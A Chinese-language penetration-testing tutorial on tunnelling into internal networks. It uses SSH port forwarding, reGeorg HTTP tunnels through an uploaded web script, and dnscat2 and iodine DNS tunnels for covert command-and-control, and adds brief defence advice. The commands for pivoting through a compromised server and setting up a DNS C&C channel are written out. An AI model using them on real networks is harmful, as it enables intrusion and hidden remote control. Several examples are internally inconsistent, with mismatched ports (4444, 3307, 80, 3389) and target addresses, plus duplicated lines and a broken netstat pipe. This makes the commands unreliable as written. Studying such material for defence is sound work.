应用层隧道传输技术

应用层隧道传输技术

应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。

1 SSH 协议

在内网中,几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

一个普通的SSH命令如下。

1
ssh root@192.168.1.1

创建SSH隧道的常用参数说明如下:

1
2
3
4
5
6
7
8
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

1.1 本地转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、10.0.52.132
  • 内网主机(win2003):10.0.52.133

以Web服务器192.168.220.145为跳板,将内网主机192.168.52.133 的3389端口映射到kali攻击机192.168.220.165的4444端口,再访问kali攻击机的4444端口,就可以访问192.168.52.133的3389端口了。

kali攻击机上执行如下命令,会要求输人Web服务器( 跳板机)的密码。

1
ssh -CfNg -L 4444(VPS端口):10.0.52.133(目标主机):80(目标端口) root@192.168.220.145(跳板机)

在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接

1
rdesktop 127.0.0.1:3307

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

1.2 远程转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、10.0.52.132
  • 内网主机(win2003):10.0.52.133

以Web服务器为跳板,将kali攻击机的3307端口的流量转发到内网主机的3389端口,然后访问kali攻击机的3307端口,就可以访问内网主机的3389端口了。

在Web服务器192.168.220.145上执行如下命令。

1
ssh -CfNg -R 3307(kali攻击机端口):10.0.52.133(目标主机):3389(目标端口) root@192.168.220.165(kali攻击机ip)

在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接

1
rdesktop 127.0.0.1:3307

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

1.3 动态转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.140、10.0.52.137
  • 内网主机(win2003):10.0.52.133

在kali攻击机上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器的密码。

1
ssh -CfNg -D 7000 root@192.168.220.140

接下来,在本地打开浏览器,设置网络代理。通过浏览器访问内网域控制器10.0.52.133

输人如下命令,查看本地7000端口是否已经连接。

1
netstat -tulnp 1 grep ": 7000"

动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

1.4 防御SSH隧道攻击的思路

SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。

2 HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter 、tunna
等。

reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

reGeorg 支持ASPX、PHP、JSP 等Web脚本,并特别提供了一个Tomeat5版本。

将脚本文件上传到目标服务器中,使用Kali Linux在本地访问远程服务器上的tunnel.jsp 文件。返回后,利用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。

输人如下命令,查看本地端口,可以发现9999端口已经开启了。

1
python reGeorgSocksProxy.py -u http://192.168.220.140:8080/tunnel.jsp -p 9999

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。

传统的Web服务器通常不会将本地的3389端口开放到公网,攻击者的暴力破解行为也很容易被传统的安全设备捕获。但是,如果使用HTTP隧道进行端口转发,不仅攻击者可以直接访问Web服务器的3389端口,而且暴力破解所产生的流量的特征也不明显。因此,在日常网络维护中,需要监控HTTP隧道的情况,及时发现问题。

3 DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。

一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。越来越多的研究证明,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器( Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植人C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

正常网络之间的通信,都是在两台机器之间建立TCP连接后进行的。在进行数据通信时:如果目标是IP地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后, C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序,让其受到控制。

内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断操作。这样一来,C&C通信就会被切断。于是,通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

在使用DNS隧道与外部进行通信时,从表面上看是没有接连外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。

3.1 查看DNS的连通性

首先,需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是要测试DNS的连通性。

输人如下命令,查询当前内部域名及IP地址。

1
cat /etc/resolv.conf|grep -v '#'

输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

1
nslookup ad.com

输人如下命令,查询能否通过内部DNS服务器解析外部域名。可以看到,能够通过内部DNS服务器解析外部域名,这意味着可以使用DNS隧道实现隐蔽通信。

1
nslookup baidu.com

3.2 dnscat2

dnscat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型( TXT、MX、CNAME、A. AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2 是一个命令与控制工具。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。

如果目标内网放行所有的DNS请求,dnscat2 会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以“dnscat”开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网中的请求仅限于白名单服务器或者特定的域, dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2 具有如下特点。

  • 支持多个会话。
  • 流量加密。
  • 使用密钥防止MiTM攻击。
  • 在内存中直接执行PowerShell脚本。
  • 隐蔽通信。

3.2.1 服务端

安装

1
2
3
4
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

使用

1
2
3
4
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456 #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #--security 规定了安全级别;--no-cache 禁止缓存

3.2.2 客户端

安装

1
2
3
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

使用

1
2
dnscat --secret=123456 abc.com 
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456

具体的使用方法大家自己去看官方手册

3.3 iodine

碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为“iodine”

iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine 是基于C语言开发的,分为服务端程序iodined 和客户端程序iodine。Kali Linux内置了iodine 。

与同类工具相比,iodine 具有如下特点:

  • 不会对下行数据进行编码。
  • 支持多平台,包括Linux、 BSD、Mac OS、Windows。
  • 支持16个并发连接。
  • 支持强制密码机制。
  • 支持同网段隧道IP地址(不同于服务器一客户端网段)。
  • 支持多种DNS记录类型。
  • 提供了丰富的隧道质量检测措施。

iodine支持直接转发和中继两种模式,其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。

具体的使用方法大家自己去看官方手册

3.4 防御DNS隧道攻击的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
  • 虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务
  • 器/网关列人白名单并阻止传人和传出流量中的TXT请求。
  • 跟踪用户的DNS查询次数。如果达到阈值,就生成相应的报告。
  • 阻止ICMP。
0%